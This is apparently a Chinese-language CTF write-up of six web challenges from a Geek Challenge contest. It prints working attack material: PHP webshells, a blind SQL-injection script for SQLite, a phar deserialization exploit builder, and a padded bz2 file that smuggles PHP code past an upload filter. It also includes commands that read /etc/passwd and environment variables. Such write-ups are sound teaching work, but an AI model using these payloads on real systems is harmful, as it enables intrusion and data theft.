声明

第一次参加极客大挑战CTF比赛,web方向总共解决了六道题目(6/20),我是菜鸟🫠

阿基里斯追乌龟

#JavaScript

题目描述:在古希腊,英雄阿基里斯和一只乌龟赛跑。阿基里斯的速度是乌龟的十倍。比赛开始时,乌龟在阿基里斯前面100米。芝诺悖论认为,当阿基里斯追到乌龟的出发点时,乌龟已经又向前爬了一段距离。当阿基里斯再追到那个位置时,乌龟又向前爬了。如此无限循环,阿基里斯似乎永远也追不上乌龟。他真的追不上吗?

大概查看网页信息,只要让阿基里斯的位置比乌龟的位置远即可得到 flag,但是根据题目的 JavaScript 代码,不可能一直点击追赶按键,其实只要用浏览器进行前端调试即可

...
const payload = { 
    achilles_distance: achillesPos,
    tortoise_distance: tortoisePos,
};
fetch('/chase', {             // 在这里打断点,在 fetch 发起请求前修改 Payload 对象
    method: 'POST',           // 使 achillesPos > tortoisePos
    headers: {
        'Content-Type': 'application/json',
    },
    body: JSON.stringify({ 
        "data": encryptData(payload) 
    }),
})
...

修改后继续执行脚本即可得到 flag,对代码感兴趣的可以去详细了解一下原理,下面附上源代码

function encryptData(obj) {
    const jsonString = JSON.stringify(obj);
    return btoa(unescape(encodeURIComponent(jsonString)));
}

function decryptData(encodedString) {
    const jsonString = decodeURIComponent(escape(atob(encodedString)));
    return JSON.parse(jsonString);
}

document.addEventListener('DOMContentLoaded', () => {
    const chaseBtn = document.getElementById('chase-btn');
    const achillesDistanceSpan = document.getElementById('achilles-distance');
    const tortoiseDistanceSpan = document.getElementById('tortoise-distance');
    const resultDiv = document.getElementById('result');

    let achillesPos = 0;
    let tortoisePos = 10000000000; // Initial head start for the tortoise

    achillesDistanceSpan.textContent = achillesPos.toFixed(2);
    tortoiseDistanceSpan.textContent = tortoisePos.toFixed(2);

    chaseBtn.addEventListener('click', () => {
        // Achilles moves to the tortoise's current position
        const achillesMoveDistance = tortoisePos - achillesPos;
        achillesPos = tortoisePos;

        // The tortoise moves 1/10th of the distance Achilles just covered
        const tortoiseMoveDistance = achillesMoveDistance / 10;
        tortoisePos += tortoiseMoveDistance;

        achillesDistanceSpan.textContent = achillesPos.toFixed(2);
        tortoiseDistanceSpan.textContent = tortoisePos.toFixed(2);

        const payload = {
            achilles_distance: achillesPos,
            tortoise_distance: tortoisePos,
        };

        fetch('/chase', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify({ "data": encryptData(payload) }),
        })
        .then(response => response.json())
        .then(encryptedResponse => {
            if (encryptedResponse.data) {
                const data = decryptData(encryptedResponse.data);
                if (data.flag) {
                    // Use 'pre-wrap' to respect newlines in the fake flag message
                    resultDiv.style.whiteSpace = 'pre-wrap';
                    resultDiv.textContent = `你追上它了!\n${data.flag}`;
                    chaseBtn.disabled = true;
                } else if (data.message) {
                    resultDiv.textContent = data.message;
                }
            } else {
                console.error('Error:', encryptedResponse.error);
                resultDiv.textContent = `发生错误: ${encryptedResponse.error}`;
            }
        })
        .catch(error => {
            console.error('Error:', error);
            resultDiv.textContent = '发生错误。';
        });
    });
}); 

Vibe SEO

#目录扫描 #Linux

题目描述:“我让 AI 帮我做了搜索引擎优化,它好像说什么『搜索引擎喜欢结构化的站点地图』,虽然不是很懂就是了”

网站首页什么信息都没有,但是根据题目描述中的信息,SEO (Search Engine Optimization),就是搜索引擎优化,可以访问一些与之相关的文件目录,如:robots.txt,sitemap.xml 等,dirsearch 中也包含了这些常见目录,得到 /sitemap.xml

<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url>
<loc>http://localhost/</loc>
<changefreq>weekly</changefreq>
</url>
<url>
<loc>http://localhost/aa__^^.php</loc>
<changefreq>never</changefreq>
</url>
</urlset>
  • 暴露了 aa__^^.php 文件

访问 /aa__^^.php 目录,显示了一些报错

**Warning**: Undefined array key "filename" in **/var/www/html/aa__^^.php** on line **3**  
  
**Deprecated**: strlen(): Passing null to parameter #1 ($string) of type string is deprecated in **/var/www/html/aa__^^.php** on line **3**  
  
**Warning**: Undefined array key "filename" in **/var/www/html/aa__^^.php** on line **4**  
  
**Deprecated**: readfile(): Passing null to parameter #1 ($filename) of type string is deprecated in **/var/www/html/aa__^^.php** on line **4**  
  
**Fatal error**: Uncaught ValueError: Path cannot be empty in /var/www/html/aa__^^.php:4 Stack trace: #0 /var/www/html/aa__^^.php(4): readfile('') #1 {main} thrown in **/var/www/html/aa__^^.php** on line **4**

明显看出没有定义filename参数,用 GET 和 POST 方法都试一下,得到 filename 是通过 GET 传递的参数,猜测 filename 可以是本地文件名,所以用?filename=/etc/passwd测试,显示 Filename too long,那就查看 aa__^^.php 文件本身

<?php
$flag = fopen('/my_secret.txt', 'r');
if (strlen($_GET['filename']) < 11) {
  readfile($_GET['filename']);
} else {
  echo "Filename too long";
}
  • 限制查询文件字符数量要小于 11

需要知道 Linux/Unix 操作系统中的文件描述符相关知识,这里需要用 /dev/fd 目录,这个目录包含指向当前进程已打开的文件描述符的符号链接,访问/dev/fd/n实际上就是访问当前进程中与文件描述符 n 关联的那个底层文件或流,经过测试 /dev/fd/12 是 aa__^^.php 文件,/dev/fd/13 是 my_secret.txt 文件,最终 Payload 如下

?filename=/dev/fd/13

one_last_image

#文件上传 #WAF

题目描述:第一次接受文件上传时,并没有什么特别的感觉,因为独属于我的waf,我早已部署。再见了,所有的一句话木马,Can you give me one last shell?

网站首页是一个图片渲染小工具,发送正常的图片,并用 BurpSuite 拦截发送到重放器中进行测试,观察 Response 得到

{"input_url":"uploads\/217b6235-e6d7-40bb-a4bf-0598af8c03cf.png","output_url":"outputs\/217b6235-e6d7-40bb-a4bf-0598af8c03cf.png"}

也就是说,要上传的图片会先上传到 /uploads 目录,然后经过重新渲染将新图片生成到 /outputs 目录,访问 /uploads 目录,发现是 Apache web 服务器,后续可能要利用 .htaccess 文件

经过文件内容上传测试,PHP 文件后缀没有过滤,文件内容中过滤了php字符,所以这里直接用 PHP 短标签直接绕过即可

# 上传文件内容 
<? eval($_GET['cmd']); ?>
# 远程代码执行
...uploads/xxx.php?cmd=system('env | grep SYC');
...uploads/xxx.php?cmd=phpinfo();

这题 flag 藏在环境变量中不太常规

Sequal No Uta

#SQLite #SQLI #布尔盲注

题目描述:SQLite Ma U

网站首页是一个用户登录界面,根据题目描述应该是一道 SQLI 题目而且数据库管理系统为 SQLite,手工注入测试注入点得到/check.php?name=0'/**/or/**/1=1/**/--+,过滤了空格,查询成功了显示该用户存在且活跃,查询失败显示未找到用户或已停用是一个典型的布尔盲注

因为这题用的是 SQLite 不是常规的 MySql 等,语法之间有些许差异,这里就列出一些这题要用的差别

  • ascii()函数用unicode()函数替代即可,语法相同
  • SQLite 中的的系统表为sqlite_master类似于 MySql 中的information_schema
  • 查询表名用select tbl_name from sqlite_master where type='table'
  • 查询表中的列信息用select group_concat(name) from pragma_table_info('<table_name>')
  • limit 的用法为limit <要返回的行数> offset <要跳过的行数>
  • ……

查表名语句

0' or (select unicode(substr(tbl_name,{i},1)) from sqlite_master where type='table' limit 1)={j} --+

查列名语句

0' or (select unicode(substr(group_concat(name),{i},1)) from pragma_table_info('users'))={j} --+

查 flag 语句

0' or (select unicode(substr(secret,{i},1)) from users limit 1)={j} --+

具体脚本

import requests
# 设置 url
url = 'http://xxx.geek.ctfplus.cn/check.php'

# 设置注入成功的标志
success_indicator = '该用户存在且活跃'
session = requests.session()

def bool_blind_sqli():
    result = ""
    print(f"开始盲注查询:")
    # 设置查询最长长度
    for i in range(1, 50):
        found_char = False
        # 设置字符的 ASCII 值范围(可打印字符)
        for j in range(32, 128):
            # payload = f"0'/**/or/**/(select/**/unicode(substr(tbl_name,{i},1))/**/from/**/sqlite_master/**/where/**/type='table'/**/limit/**/1)={j}/**/--+"
            # payload = f"0'/**/or/**/(select/**/unicode(substr(group_concat(name),{i},1))/**/from/**/pragma_table_info('users'))={j}/**/--+"
            payload = f"0'/**/or/**/(select/**/unicode(substr(secret,{i},1))/**/from/**/users/**/limit/**/1)={j}/**/--+"
            # 发送 GET 请求
            response = session.get(f"{url}?name={payload}")
            if success_indicator in response.text:
                result += chr(j)
                found_char = True
                print(f"找到第 {i} 个字符:{chr(j)},当前结果:{result}")
                break
        # 如果内层循环没有找到字符,说明字符串已结束
        if not found_char:
            print("盲注结束")
            break
    return result

str = bool_blind_sqli()
print(f"获得的结果:{str}")

ez-seralize

#代码审计 #目录扫描 #Phar

题目描述:简单的读文件?

网站首页有一个文件读取的功能,那直接读取 index.php 得到

<?php
ini_set('display_errors', '0');
$filename = isset($_GET['filename']) ? $_GET['filename'] : null;
$content = null;
$error = null;

if (isset($filename) && $filename !== '') {
    $balcklist = ["../","%2e","..","data://","\n","input","%0a","%","\r","%0d","php://","/etc/passwd","/proc/self/environ","php:file","filter"];
    foreach ($balcklist as $v) {
        if (strpos($filename, $v) !== false) {
            $error = "no no no";
            break;
        }
    }

    if ($error === null) {
        if (isset($_GET['serialized'])) {
            require 'function.php';
            $file_contents= file_get_contents($filename);
            if ($file_contents === false) {
                $error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars($filename);
            } else {
                $content = $file_contents;
            }
        } else {
            $file_contents = file_get_contents($filename);
            if ($file_contents === false) {
                $error = "Failed to read file or file does not exist: " . htmlspecialchars($filename);
            } else {
                $content = $file_contents;
            }
        }
    }
} else {
    $error = null;
}
?>
  • 读取文件名经过黑名单过滤,phar://不在黑名单中
  • 要 GET 方法传入serialized参数,才可以执行关键代码
  • 发现 function.php 文件

读取 function.php 文件

<?php
class A {
    public $file;
    public $luo;

    public function __construct() {
    }

    public function __toString() {
        $function = $this->luo;
        return $function();
    }
}

class B {
    public $a;
    public $test;

    public function __construct() {
    }

    public function __wakeup()
    {
        echo($this->test);
    }

    public function __invoke() {
        $this->a->rce_me();
    }
}

class C {
    public $b;

    public function __construct($b = null) {
        $this->b = $b;
    }

    public function rce_me() {
        echo "Success!\n";
        system("cat /flag/flag.txt > /tmp/flag");
    }
}
?>
  • 定义了三个类,熟悉的 PHP 反序列化的味道

做到这里思路已经非常清楚了,就是要执行 PHP 反序列化,要用上传的 Phar 文件解析执行反序列化,通过 dirsearch 目录扫描得到上传文件入口 uploads.php,查看 uploads.php 文件

<?php // uploads.php
$uploadDir = __DIR__ . '/uploads/';
if (!is_dir($uploadDir)) {
    mkdir($uploadDir, 0755, true);
}
$whitelist = ['txt', 'log', 'jpg', 'jpeg', 'png', 'zip','gif','gz'];
$allowedMimes = [
    'txt'  => ['text/plain'],
    'log'  => ['text/plain'],
    'jpg'  => ['image/jpeg'],
    'jpeg' => ['image/jpeg'],
    'png'  => ['image/png'],
    'zip'  => ['application/zip', 'application/x-zip-compressed', 'multipart/x-zip'],
    'gif'  => ['image/gif'],
    'gz'   => ['application/gzip', 'application/x-gzip']
];

$resultMessage = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $file = $_FILES['file'];

    if ($file['error'] === UPLOAD_ERR_OK) {
        $originalName = $file['name'];
        $ext = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
        if (!in_array($ext, $whitelist, true)) {
            die('File extension not allowed.');
        }

        $mime = $file['type'];
        if (!isset($allowedMimes[$ext]) || !in_array($mime, $allowedMimes[$ext], true)) {
            die('MIME type mismatch or not allowed. Detected: ' . htmlspecialchars($mime));
        }

        $safeBaseName = preg_replace('/[^A-Za-z0-9_\-\.]/', '_', basename($originalName));
        $safeBaseName = ltrim($safeBaseName, '.');
        $targetFilename = time() . '_' . $safeBaseName;

        file_put_contents('/tmp/log.txt', "upload file success: $targetFilename, MIME: $mime\n");

        $targetPath = $uploadDir . $targetFilename;
        if (move_uploaded_file($file['tmp_name'], $targetPath)) {
            @chmod($targetPath, 0644);
            $resultMessage = '<div class="success"> File uploaded successfully '. '</div>';
        } else {
            $resultMessage = '<div class="error"> Failed to move uploaded file.</div>';
        }
    } else {
        $resultMessage = '<div class="error"> Upload error: ' . $file['error'] . '</div>';
    }
}
?>
  • 对上传对文件进行白名单检查机制
  • 文件上传路径为 uploads/
  • 会对上传的文件名进行重命名,重命名信息记录在 /tmp/log.txt 文件中

构造 Phar 文件

// 构造代码
<?php
class A {
    public $file;
    public $luo;  // 2 B

    public function __construct() {
    }

    public function __toString() {  // 2 将对象当做字符串使用时调用
        $function = $this->luo;
        return $function();  // 1 __invoke()触发
    }
}

class B {
    public $a;  // 1 C
    public $test;  // 3 A

    public function __construct() {
    }

    public function __wakeup()  // 3 反序列化时触发
    {
        echo($this->test);  // 2 __toString()触发
    }

    public function __invoke() {  // 1 将对象当做函数使用时调用
        $this->a->rce_me();
    }
}

class C {
    public $b;

    public function __construct($b = null) {
        $this->b = $b;
    }

    public function rce_me() {
        echo "Success!\n";
        system("cat /flag/flag.txt > /tmp/flag");  // 最后目标
    }
}

$a = new C();
$b = new B();
$b->a = $a;
$c = new A();
$c->luo = $b;
$d = new B();
$d->test = $c;

$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->setMetadata($d);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>

将文件后缀改为 png 上传,在查看 /tmp/log.txt 文件得到实际文件名upload file success: 1763431210_exp.png, MIME: image/png,然后最终 Payload 如下

index.php?filename=phar://uploads/1763431210_exp.png&serialized=1

eeeeezzzzzzZip

#代码审计 #目录扫描 #文件上传 #文件包含

题目描述:小杭写了一个压缩包管理平台,但是作为一个开发很不仔细,也许有什么问题在里面呢

网站首页是一个压缩包管理平台登录页面,首先尝试登录弱口令和 SQLi 均无果,用 dirsearch 目录扫描,得到 /upload.php 文件上传页面,以及 www.zip 网站源码压缩包,解压后进行源码审计

// login.php
<?php
session_start();
$err = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $u = $_POST['user'] ?? '';
    $p = $_POST['pass'] ?? '';
    if ($u === 'admin' && $p === 'guest123') {
        $_SESSION['user'] = $u;
        header("Location: index.php");
        exit;
    } else {
        $err = '登录失败:用户名或密码错误';
    }
}
?>
  • 暴露了管理员用户名和密码

登录压缩包管理平台后台,发现文件上传页面也就是 /upload.php

// index.php
<?php
session_start();
error_reporting(0);
if (!isset($_SESSION['user'])) {
    header("Location: login.php");
    exit;
}
$salt = 'GeekChallenge_2025';
if (!isset($_SESSION['dir'])) {
    $_SESSION['dir'] = bin2hex(random_bytes(4));
}
$SANDBOX = sys_get_temp_dir() . "/uploads_" . md5($salt . $_SESSION['dir']);
if (!is_dir($SANDBOX)) mkdir($SANDBOX, 0700, true);

$files = array_diff(scandir($SANDBOX), ['.', '..']);
$result = '';
if (isset($_GET['f'])) {
    $filename = basename($_GET['f']);
    $fullpath = $SANDBOX . '/' . $filename;
    if (file_exists($fullpath) && preg_match('/\.(zip|bz2|gz|xz|7z)$/i', $filename)) {
        ob_start();
        @include($fullpath);
        $result = ob_get_clean();
    } else {
        $result = "文件不存在或非法类型。";
    }
}
?>
  • 通过 GET 方法传入f参数(上传文件名),最终执行文件包含

  • 进行文件名后缀白名单匹配

// upload.php
<?php
session_start();
error_reporting(0);
$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
    'application/zip',
    'application/x-bzip2',
    'application/gzip',
    'application/x-gzip',
    'application/x-xz',
    'application/x-7z-compressed',
];
$BLOCK_LIST = [
    "__HALT_COMPILER()",
    "PK",
    "<?",
    "<?php",
    "phar://",
    "php",
    "?>"
];

function content_filter($tmpfile, $block_list) {
    $fh = fopen($tmpfile, "rb");
    if (!$fh) return true;
    $head = fread($fh, 4096);
    fseek($fh, -4096, SEEK_END);
    $tail = fread($fh, 4096);
    fclose($fh);
    $sample = $head . $tail;
    $lower = strtolower($sample);
    foreach ($block_list as $pat) {
        if (stripos($sample, $pat) !== false) {
            // 为避免泄露过多信息,这里不直接 echo sample(你之前有 echo,保持注释)
            return false;
        }
        if (stripos($lower, strtolower($pat)) !== false) {
            return false;
        }
    }
    return true;
}

if (!isset($_SESSION['dir'])) {
    $_SESSION['dir'] = bin2hex(random_bytes(4));
}
$salt = 'GeekChallenge_2025';
$SANDBOX = sys_get_temp_dir() . "/uploads_" . md5($salt . $_SESSION['dir']);
if (!is_dir($SANDBOX)) mkdir($SANDBOX, 0700, true);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!isset($_FILES['file'])) {
        http_response_code(400);
        die("No file.");
    }
    $tmp = $_FILES['file']['tmp_name'];
    $orig = basename($_FILES['file']['name']);
    if (!is_uploaded_file($tmp)) {
        http_response_code(400);
        die("Upload error.");
    }

    $ext = strtolower(pathinfo($orig, PATHINFO_EXTENSION));
    if (!in_array($ext, $allowed_extensions)) {
        http_response_code(400);
        die("Bad extension.");
    }

    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime = finfo_file($finfo, $tmp);
    finfo_close($finfo);
    if (!in_array($mime, $allowed_mime_types)) {
        http_response_code(400);
        die("Bad mime.");
    }

    if (!content_filter($tmp, $BLOCK_LIST)) {
        http_response_code(400);
        die("Content blocked.");
    }

    $newname = time() . "_" . preg_replace('/[^A-Za-z0-9._-]/', '_', $orig);
    $dest = $SANDBOX . '/' . $newname;

    if (!move_uploaded_file($tmp, $dest)) {
        http_response_code(500);
        die("Move failed.");
    }

    echo "UPLOAD_OK:" . htmlspecialchars($newname, ENT_QUOTES);
    exit;
}
?>
  • 对文件后缀名进行白名单检测
  • 对文件内容前后首尾两端各 4096 字节内容进行黑名单检查
  • 后端用finfo_file()检测文件实际 MIME 类型进行白名单检查,防止抓包修改

只要在上传的文件头部添加一个合法的 bz2 文件头部标识(魔术字节 BZh),在内容中间进行 PHP 代码注入,最后将两端进行字节填充即可构造出攻击文件,后缀为 bz2

# 攻击文件构造代码
payload = b'<?php system($_GET["cmd"]); ?>\n'

# bz2 文件头部标识
MAGIC = b'BZh'

prepad_len = 5000   # 放在 payload 之前(>4096)
postpad_len = 5000  # 放在 payload 之后(>4096)

prepad = b'A' * prepad_len
postpad = b'B' * postpad_len

exploit = MAGIC + prepad + payload + postpad # 最总要写入的字节内容

with open('evil.bz2', 'wb') as f:
    f.write(exploit)

将生成的 evil.bz2 文件在 /upload.php 中上传,在访问 /index.php 页面执行文件包含远程 rce 即可,最终 Payload 如下

index.php?f=xxx.bz2&cmd=cat /flag/flag.txt
index.php?f=xxx.bz2&cmd=env | grep SYC